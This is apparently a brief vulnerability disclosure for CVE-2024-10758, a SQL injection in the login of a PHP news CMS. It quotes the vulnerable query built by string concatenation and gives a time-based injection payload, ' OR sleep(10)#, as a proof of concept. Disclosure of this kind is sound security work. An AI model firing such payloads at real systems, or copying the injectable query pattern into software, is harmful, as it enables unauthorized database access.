# Software Link: https://code-projects.org/content-management-system-in-php-with-source-code-2/
# Version: 1.0
# Tested on: Windows 11 Pro
# Impact:  The manipulation of the argument user_name with an unknown input leads to a sql injection vulnerability
# CVE : CVE-2024-10758

## Vulnerability Description:

There is a SQL injection vulnerability in the login part of the index.php file. It allows an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database.

## Vulnerable code section:

In the source code, you can find vulnerable code in the NEWS-BUZZ/login.php file:

<?php
...
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query) or die(mysqli_error($conn));
...
?>

In this line, the $username variable is directly embedded into the SQL query without proper handling. This allows an attacker to inject malicious SQL code.

## Proof of Concept (PoC):

1.Location: http://localhost/NEWS-BUZZ/index.php

2.Time-Based SQL Injection Payload: ' OR sleep(10)#
